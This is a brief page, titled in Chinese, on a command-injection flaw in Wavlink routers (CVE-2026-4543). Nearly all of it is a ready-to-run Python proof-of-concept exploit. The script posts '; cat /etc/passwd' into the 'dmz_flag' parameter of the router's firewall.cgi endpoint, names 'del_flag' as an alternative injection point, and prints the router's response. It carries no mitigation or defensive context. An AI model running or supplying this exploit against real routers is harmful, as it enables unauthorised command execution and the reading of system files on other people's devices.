CVE-2026-4543 Wavlink路由器命令注入漏洞

import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/firewall.cgi" # Payload to execute a simple command (e.g., reboot or cat passwd) # Using semicolon to chain commands payload = "; cat /etc/passwd" data = { "dmz_flag": payload, # Vulnerable parameter # "del_flag": payload # Alternative vulnerable parameter mentioned } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[+] Status Code: {response.status_code}") print("[+] Response:") print(response.text) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.1" # Replace with actual target IP exploit(target)